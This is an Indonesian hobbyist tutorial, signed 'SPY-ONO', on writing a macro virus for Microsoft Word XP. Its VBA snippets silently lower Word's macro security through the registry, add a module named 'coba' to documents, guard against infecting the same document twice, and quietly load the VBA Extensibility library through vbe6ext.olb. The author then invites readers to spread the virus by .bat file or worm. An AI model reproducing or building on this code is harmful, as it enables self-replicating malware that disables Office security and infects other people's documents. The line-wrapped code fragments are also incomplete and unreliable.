Tetapi karena sistem keamanan Microsoft Word XP berbeda
dengan Microsoft Word 2000, maka saya ingin mengulas sedikit tentang teknik
peng-copyan modulnya. Sebelumnya coba lihat dulu sebagian source kode ini :
System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security",
"Level") = 1&
On Error
Resume Next
Set
NorTemp = NormalTemplate.VBProject
Set Aktif
= ActiveDocument.VBProject
Set
modulbaru = ActiveDocument.VBProject.VBComponents.Add(vbext_ct_StdModule)
If
modulbaru.Name <> "coba" Then
modulbaru.Name
= "coba"
If
(ActiveDocument.VBProject.VBComponents.Count < 2) And
(ActiveDocument.VBProject.VBComponents.Count >= 1) Then
Else:
eror
End if
On Error
Resume Next
NormalTemplate.VBProject.References.AddFromFile
("C:\Program Files\Common Files\Microsoft
Shared\VBA\VBA6\vbe6ext.olb")
Set
NorTemp = NormalTemplate.VBProject
On Error
Resume Next
ActiveDocument.VBProject.References.AddFromFile
("C:\Program Files\Common Files\Microsoft
Shared\VBA\VBA6\vbe6ext.olb")
Dalam Microsoft Word XP Registry untuk
membuat rendah sistem keamanan macro security-nya hampir sama
dengan Microsoft Word 2000, yang membedakan hanya versi yang tertera pada
registry tersebut.
- Pada
Microsoft Word 2000:
System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
"Level") = 1&
Pada
Microsoft Word XP:
System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security",
"Level") = 1&
Kelihatan
kan perbedaanya hanya pada versinya saja
- Untuk
teknik pembuatan module antar dokumen yang aktif hampir sama, cuma saya disini
memakai syntax yang berbeda dengan sevenC (hi..hi..hi), bisa dilihat pada source code di bawah ni :
On Error
Resume Next
Set
NorTemp = NormalTemplate.VBProject
Set Aktif
= ActiveDocument.VBProject
Set
modulbaru = ActiveDocument.VBProject.VBComponents.Add(vbext_ct_StdModule)
If modulbaru.Name
<> "coba" Then
modulbaru.Name
= "coba"
-kalau
sudah untuk mencegah agar virus tidak menulari dokumen tersebut 2 kali
tambahkan perintah:
If
(ActiveDocument.VBProject.VBComponents.Count < 2) And
(ActiveDocument.VBProject.VBComponents.Count >= 1) Then
'routine infeksi
Else:
eror --> sub error handler yang dibuat dengan membuat sub kosong, contoh
sub eror()
'kalian bisa memasukkan perintah apa saja di sini, kalau saya
lebih suka kosong sih hihhi...
end sub
MASALAH:
Tetapi
untuk menjalankan routine ini kita harus menyalakan Librari Microsoft Visual
Basic for Applications Extensibility 5.03 yang ada pada Visual basic Editor di
Menu 'tools', sub menu 'reference'. Bila kita tidak memakai librari tersebut akan memunculkan pesan error. Gimana dong cara
menyalakannya dengan otomatis tanpa harus mengklik menu tsb pada Word?
SOLUSI:
Masuk ke
Visual Basic Editor,ke menu tools, reference, cari library yang bernama
Microsoft Visual Basic for Applications Extensibility 5.03, kemudian klik, dan
keluar dari menu tersebut.dan Jalankan source kode.
atau
dengan cara tersembunyi yaitu dengan menggunakan file vbe6ext.olb yang ada pada
path C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\ , karena file
tersebut yang dapat menjalankan type library untuk Microsoft Visual Basic for
Applications Extensibility 5.03, maka ketikkan :
On Error
Resume Next
NormalTemplate.VBProject.References.AddFromFile
("C:\Program Files\Common Files\Microsoft
Shared\VBA\VBA6\vbe6ext.olb")
Set
NorTemp = NormalTemplate.VBProject
kalau yang diatas untuk mengeset normal templatenya, sedangkan yang ini untuk
mengeset agar Microsoft Visual Basic for Applications Extensibility 5.03 aktif
di dokumen yang lagi aktif :
On Error
Resume Next
ActiveDocument.VBProject.References.AddFromFile
("C:\Program Files\Common Files\Microsoft
Shared\VBA\VBA6\vbe6ext.olb")
Wah....selesai
degh....kamu bisa masuk ke Microsoft Office XP dengan routine tersebut,
terserah penyebarannya mau dengan memakai .bat, atau dengan worm, up to
you.....makasih buat saran kritik n caci maki....
"in digital century someone can be a famous in ten
minute"--> deu nyontek bo.....
Thanks
to:
-SevenC,
[K]alamar buat artikelnya yang udah memberi ilham
-Bang
Joni Hendri yang ngajarin gue tentang hidup (SALUT..)
-Mas
Mulyadi yang bersedia meminjamkan rumahnya (he...he...he)
-Mas
Acen, Mas Iman (yang udah nganter2)
#jasakom, #manadohacking, #batamhacker, #
vidatra, #neoteker
- wedashyndicate (gimana katanya dah rame), istana.com,
discolorized
- MUGI
newyorkarto
-Crys_taL
(jauh...)
created by :
SPY-ONO|LAGI|MAEN
